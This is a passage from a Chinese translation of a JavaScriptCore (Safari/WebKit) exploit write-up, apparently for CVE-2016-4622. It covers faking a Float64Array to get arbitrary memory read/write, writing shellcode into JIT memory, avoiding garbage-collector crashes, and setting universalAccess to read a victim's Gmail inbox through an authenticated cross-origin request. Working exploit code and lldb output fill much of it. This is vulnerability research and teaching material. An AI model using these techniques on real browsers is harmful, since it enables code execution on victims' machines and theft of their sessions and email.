​ 不幸的是,结构id在不同的运行中不一定是静态的,因为它们是在运行时根据需要分配的。此外,在引擎启动期间创建的结构的id依赖于版本。因此,我们不知道Float64Array实例的结构ID,需要以某种方式确定它。
​ 由于我们不能使用任意结构id,因此会出现另一个稍微复杂的问题。这是因为还有一些结构分配给其他垃圾收集单元格,而这些单元格不是JavaScript对象(字符串、符号、正则表达式对象,甚至结构本身)。调用它们的方法表引用的任何方法都将由于断言失败而导致崩溃。不过,这些结构只在引擎启动时分配,导致所有这些结构的id都相当低。
​ 为了克服这个问题,我们将使用一种简单的spray方法:我们将spray几千个结构,这些结构都描述Float64Array实例,然后选择一个较高的初始ID,看看是否找到了正确的ID。

    for (var i = 0; i < 0x1000; i++) {
        var a = new Float64Array(1);
        // Add a new property to create a new Structure instance.
        a[randomString()] = 1337;
    }

通过使用“instanceof”,我们可以知道我们是否猜对了。如果没有,则使用下一个结构。

    while (!(fakearray instanceof Float64Array)) {
        // Increment structure ID by one here
    }

Instanceof是一个相当安全的操作,因为它只获取结构、从中获取原型,并与给定的原型对象进行指针比较。

6.2 伪造一个Float64Array

​ float64数组由原生JSArrayBufferView类实现。除了标准的JSObject字段,该类还包含指向后备内存的指针(我们将其称为“vector”,类似于源代码),以及长度和模式字段(都是32位整数)

​ 由于我们将我们的Float64Array放在另一个对象的内联slot中(从现在开始称为“容器”),我们将不得不处理由于JSValue编码而产生的一些限制。特别是我们

  • 无法设置nullptr butterfly指针,因为null不是有效的JSValue。现在还可以,因为butterfly不会被用于简单的元素访问操作

  • 无法设置有效的模式字段,因为由于NaN-boxing,它必须大于0x00010000。我们可以自由控制长度字段

  • 只能将向量设置为指向另一个JSObject,因为这是JSValue可以包含的惟一指针

由于最后一个约束,我们将设置Float64Array的向量指向Uint8Array实例:

+----------------+                  +----------------+
|  Float64Array  |   +------------->|  Uint8Array    |
|                |   |              |                |
|  JSCell        |   |              |  JSCell        |
|  butterfly     |   |              |  butterfly     |
|  vector  ------+---+              |  vector        |
|  length        |                  |  length        |
|  mode          |                  |  mode          |
+----------------+                  +----------------+

有了它,我们现在可以将第二个数组的数据指针设置为任意地址,为我们提供任意的内存读/写.下面是使用前面的exploit原语创建伪Float64Array实例的代码。然后,附加的利用代码创建一个全局“内存”对象,该对象提供了方便的方法来读写任意内存区域。

    sprayFloat64ArrayStructures();

    // Create the array that will be used to
    // read and write arbitrary memory addresses.
    var hax = new Uint8Array(0x1000);

    var jsCellHeader = new Int64([
        00, 0x10, 00, 00,       // m_structureID, current guess
        0x0,                    // m_indexingType
        0x27,                   // m_type, Float64Array
        0x18,                   // m_flags, OverridesGetOwnPropertySlot |
            // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
        0x1                     // m_cellState, NewWhite
    ]);

    var container = {
        jsCellHeader: jsCellHeader.encodeAsJSVal(),
        butterfly: false,       // Some arbitrary value
        vector: hax,
        lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
    };

    // Create the fake Float64Array.
    var address = Add(addrof(container), 16);
    var fakearray = fakeobj(address);

    // Find the correct structure ID.
    while (!(fakearray instanceof Float64Array)) {
        jsCellHeader.assignAdd(jsCellHeader, Int64.One);
        container.jsCellHeader = jsCellHeader.encodeAsJSVal();
    }

    // All done, fakearray now points onto the hax array

为了“可视化”结果,下面是一些lldb输出。容器对象位于0x11321e1a0:

    (lldb) x/6gx 0x11321e1a0
    0x11321e1a0: 0x0100150000001138 0x0000000000000000
    0x11321e1b0: 0x0118270000001000 0x0000000000000006
    0x11321e1c0: 0x0000000113217360 0x0001000000000010
    (lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
    (JSC::JSArrayBufferView) $0 = {
      JSC::JSNonFinalObject = {
        JSC::JSObject = {
          JSC::JSCell = {
            m_structureID = 4096
            m_indexingType = '\0'
            m_type = Float64ArrayType
            m_flags = '\x18'
            m_cellState = NewWhite
          }
          m_butterfly = {
            JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
          }
        }
      }
      m_vector = {
        JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
      }
      m_length = 16
      m_mode = 65536
    }

​ 注意m_butterfly和m_mode都是无效的,因为我们不能在那里写null。这暂时不会造成任何问题,但是一旦GC运行,就会出现问题。我们稍后再处理这个问题。

6.3 执行shellcode

JavaScript引擎的一个优点是,它们都使用JIT编译。这需要将指令写入内存中的页面,然后执行它们。由于这个原因,大多数引擎,包括JSC,都分配可写和可执行的内存区域。这是我们exp的一个很好的目标。我们将使用内存读/写原语将指针泄漏到JavaScript函数的JIT编译代码中,然后在那里编写shell代码并调用函数,从而执行我们自己的代码.附加的PoC漏洞实现了这一点。下面是runShellcode函数的相关部分。

   // This simply creates a function and calls it multiple times to
    // trigger JIT compilation.
    var func = makeJITCompiledFunction();
    var funcAddr = addrof(func);
    print("[+] Shellcode function object @ " + funcAddr);

    var executableAddr = memory.readInt64(Add(funcAddr, 24));
    print("[+] Executable instance @ " + executableAddr);

    var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
    print("[+] JITCode instance @ " + jitCodeAddr);

    var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
    print("[+] RWX memory @ " + codeAddr.toString());

    print("[+] Writing shellcode...");
    memory.write(codeAddr, shellcode);

    print("[!] Jumping into shellcode...");
    func();

​ 可以看到,PoC代码通过从固定偏移量读入一组对象(从JavaScript函数对象开始)中的几个指针来执行指针泄漏。这不是很好(因为偏移量可以在不同版本之间更改),但是对于演示目的来说已经足够了。作为第一个改进,应该尝试使用一些简单的启发式(最高位都为零,“接近”其他已知内存区域,……)来检测有效指针。接下来,可能会基于惟一的内存模式检测一些对象。例如,从JSCell继承的所有类(如ExecutableBase)都将以一个可识别的头开始。

​ 而且,JIT编译的代码本身可能会以一个已知的函数开头,注意,从iOS 10开始,JSC不再分配一个RWX区域,而是使用两个到相同物理内存区域的虚拟映射,一个是可执行的,另一个是可写的。然后在运行时发出一个特殊版本的memcpy,其中包含可写区域的(随机)地址作为即时值,并映射为——X,防止攻击者读取该地址。为了绕过这个问题,现在需要一个短的ROP链在跳转到可执行映射之前调用这个memcpy

6.4 绕过垃圾收集check

如果我们想让渲染器进程在最初的攻击之后仍然保持活动状态(稍后我们将看到为什么我们希望这样),那么一旦垃圾收集器开始工作,我们目前就会立即面临崩溃。这主要是因为我们伪造的Float64Array的butterfly是一个无效指针,但不是null,因此会在GC期间被访问。从JSObject:: visitChildren:

Butterfly* butterfly = thisObject->m_butterfly.get();
    if (butterfly)
        thisObject->visitButterfly(visitor, butterfly,
                                   thisObject->structure(visitor.vm()));

我们可以将伪数组的butterfly指针设置为nullptr,但是这将导致另一次崩溃,因为该值也是容器对象的一个属性,并且将被视为JSObject指针。我们将这样做

  1. 创建一个空对象。这个对象的结构将描述一个具有默认内联存储量(6个slot)的对象,但是没有一个槽被使用
  2. 将JSCell头(包含结构ID)复制到容器对象。现在,我们已经导致引擎“忘记”了组成伪数组的容器对象的属性
  3. 将伪数组的butterfly指针设置为nullptr,并且在执行此操作时,还将该对象的JSCell替换为默认的Float64Array instanc中的JSCell

最后一步是必需的,因为我们可能会得到一个带有一些属性的Float64Array的结构,这是由于我们之前的结构喷涂造成的,这三个步骤为我们提供了一个稳定的漏洞,最后一点需要注意的是,当覆盖JIT编译函数的代码时,必须小心返回一个有效的JSValue(如果需要流程延续)。如果不这样做,可能会在下一次GC期间导致崩溃,因为返回的值将由引擎保存,并由收集器检查。

6.5 总结

现在,是快速总结完整利用的时候了

  1. 喷射Float64Array结构
  2. 分配具有内联属性的容器对象,这些内联属性一起在其内联属性槽中构建一个Float64Array实例。使用高的初始结构ID,这可能是正确的,因为之前的喷雾。将数组的数据指针设置为指向Uint8Array实例
    3.泄漏容器对象的地址,并创建一个伪对象,指向容器objec中的Float64Array
  3. 使用'instanceof'查看结构ID猜测是否正确。如果没有通过为容器对象的相应属性分配一个新值来增加结构ID。重复,直到得到一个Float64Array
  4. 通过写入Uint8Arra的数据指针,从任意内存地址读写
  5. 用它来修复容器和Float64Array实例,以避免在垃圾收集期间崩溃

7.滥用渲染程序

通常,下一个合乎逻辑的步骤是启动某种沙箱逃脱机制,以进一步破坏目标机器,由于对这些问题的讨论超出了本文的范围,并且由于在其他地方对这些问题进行了很好的讨论,所以让我们转而探讨我们的现状

7.1 WebKit进程和特权模式

自从WebKit 222以来,WebKit具有一个多进程模型,其中为每个选项卡生成一个新的呈现器进程。除了稳定性和性能方面的原因外,这还为沙箱基础设施提供了基础,以限制受损害的呈现程序进程对系统造成的损害

7.2 同源策略

​ 同源策略(SOP)为(客户端)web安全提供了基础。它防止来自源A的内容干扰来自另一个源b的内容。这包括脚本级访问(例如访问另一个窗口中的DOM对象)和网络级访问(例如xmlhttprequest)。有趣的是,在WebKit中,SOP是在呈现器进程中强制执行的,这意味着我们可以绕过它。目前所有主要的web浏览器都是如此,但是chrome即将通过他们的站点隔离项目[23]来改变这一点。

​ 这一事实并不新鲜,甚至在过去也被利用过,但值得讨论。本质上,这意味着呈现程序进程可以完全访问所有浏览器会话,并且可以发送经过身份验证的跨源请求并读取响应。破坏呈现程序进程的攻击者因此可以访问受害者的所有浏览器会话。出于演示目的,我们现在将修改我们的漏洞以显示用户gmail收件箱

7.3 -窃取电子邮件

WebKit中的SecurityOrigin类中有一个有趣的字段:m_universalAccess。如果设置了,它将导致所有跨源检查成功。通过遵循一组指针(其偏移量同样依赖于当前Safari版本),我们可以获得对当前活动的SecurityDomain实例的引用。然后,我们可以为呈现程序进程启用universalAccess,并随后执行经过身份验证的跨源xmlhttprequest。然后,从gmail读取电子邮件变得非常简单

    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
    xhr.send();     // xhr.responseText now contains the full response

其中包括一个版本的漏洞,它可以做到这一点,并显示“用户”当前的gmail收件箱。由于某些原因,现在应该很清楚了,这确实需要在Safari中使用一个有效的gmail会话;)

[1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/
[2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/
[3] http://trac.webkit.org/wiki/JavaScriptCore
[4] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-data-types-and-values
[5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects
[6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format
[7] http://www.ecma-international.org/
ecma-262/6.0/#sec-array-exotic-objects
[8] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-standard-built-in-objects
[9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/
Reference/Global_Objects/Array/slice).
[10] https://github.com/WebKit/webkit/
blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime
/ArrayPrototype.cpp#L848
[11] https://developer.mozilla.org/en-US/docs/Web/
JavaScript/Reference/Global_Objects/Symbol/species
[12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion
[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104
[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344
[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946
[16] https://www.gnu.org/software/guile/manual/html_node/
Conservative-GC.html
[17] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-language-types-number-type
[18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects
[19] https://developers.google.com/v8/design#fast-property-access
[20] http://www.ecma-international.org/
ecma-262/6.0/#sec-operations-on-objects
[21] http://www.ecma-international.org/ecma-262/6.0/
#sec-ordinary-object-internal-methods-and-internal-slots-delete-p
[22] https://trac.webkit.org/wiki/WebKit2
[23] https://www.chromium.org/developers/design-documents/site-isolation

相关文章

网友评论

    本文标题:JavaScriptCore-漏洞学习(CVE-2016-462

    本文链接:https://www.haomeiwen.com/subject/ltqxectx.html